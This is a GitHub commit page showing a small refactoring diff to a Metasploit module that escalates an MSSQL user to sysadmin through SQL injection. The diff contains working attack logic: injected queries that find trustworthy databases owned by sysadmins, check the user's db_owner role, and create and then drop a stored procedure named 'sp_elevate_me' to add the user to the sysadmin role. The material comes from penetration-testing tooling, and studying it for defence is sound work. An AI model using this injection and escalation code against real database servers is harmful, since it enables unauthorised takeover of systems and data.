Skip to content

Commit 1e2f1ea

Browse files
committed
cleaning up
1 parent bf92769 commit 1e2f1ea

File tree

1 file changed

+13
-18
lines changed

1 file changed

+13
-18
lines changed

modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb

Lines changed: 13 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def run
4444
# Grab sysadmin status
4545
print_status("Checking if #{db_user} is already a sysadmin...")
4646
sysadmin_status = check_sysadmin
47-
if sysadmin_status == 1
47+
if sysadmin_status == true
4848
print_good("#{db_user} is already a sysadmin, no esclation needed.")
4949
return
5050
else
@@ -54,7 +54,7 @@ def run
5454
# Check for trusted databases owned by sysadmins
5555
print_status("Checking for trusted databases owned by sysadmins...")
5656
trust_db_list = check_trust_dbs
57-
if trust_db_list.nil? || trust_db_list.length == 0
57+
if !trust_db_list || trust_db_list.length == 0
5858
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
5959
return
6060
else
@@ -74,7 +74,7 @@ def run
7474
# Check if the user has the db_owner role in any of the databases
7575
print_status("Checking if #{db_user} has the db_owner role in any of them...")
7676
dbowner_status = check_db_owner(trust_db_list)
77-
if dbowner_status.nil?
77+
if !dbowner_status
7878
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
7979
return
8080
else
@@ -83,8 +83,9 @@ def run
8383

8484
# Attempt to escalate to sysadmin
8585
print_status("Attempting to add #{db_user} to sysadmin role...")
86-
escalate_status = escalate_privs(dbowner_status,db_user)
87-
if escalate_status == 1
86+
escalate_privs(dbowner_status,db_user)
87+
sysadmin_status = check_sysadmin
88+
if sysadmin_status == true
8889
print_good("Success! #{db_user} is now a sysadmin!")
8990
else
9091
print_error("Fail buckets, something went wrong.")
@@ -120,12 +121,16 @@ def check_sysadmin
120121
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
121122

122123
# Return sysadmin status
123-
return parsed_result.to_i
124+
if parsed_result.to_i == 1
125+
return true
126+
else
127+
return false
128+
end
124129
end
125130

126131
def check_trust_dbs
127132
# Setup query to check for trusted databases owned by sysadmins
128-
sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName
133+
sql = "(select cast((SELECT 'EVILSTART'+d.name+'EVILSTOP' as DbName
129134
FROM sys.server_principals r
130135
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
131136
INNER JOIN sys.server_principals p ON
@@ -137,10 +142,7 @@ def check_trust_dbs
137142
result = mssql_query(sql)
138143

139144
#Parse results
140-
parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m)
141-
142-
# Return sysadmin status
143-
return parsed_result
145+
parsed_result = result.body.scan(/EVILSTART(.*?)EVILSTOP/m)
144146
end
145147

146148
def check_db_owner(trust_db_list)
@@ -162,7 +164,6 @@ def check_db_owner(trust_db_list)
162164
# Return sysadmin status
163165
return parsed_result
164166
end
165-
nil
166167
end
167168

168169
# Attempt to escalate privileges
@@ -193,11 +194,5 @@ def escalate_privs(dbowner_db,db_user)
193194
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
194195
exec(@myevil3);--"
195196
mssql_query(evilsql_remove)
196-
197-
# Check sysadmin status
198-
sysadmin_status = check_sysadmin
199-
200-
# return parsed_result
201-
return sysadmin_status.to_i
202197
end
203198
end

0 commit comments

Comments
 (0)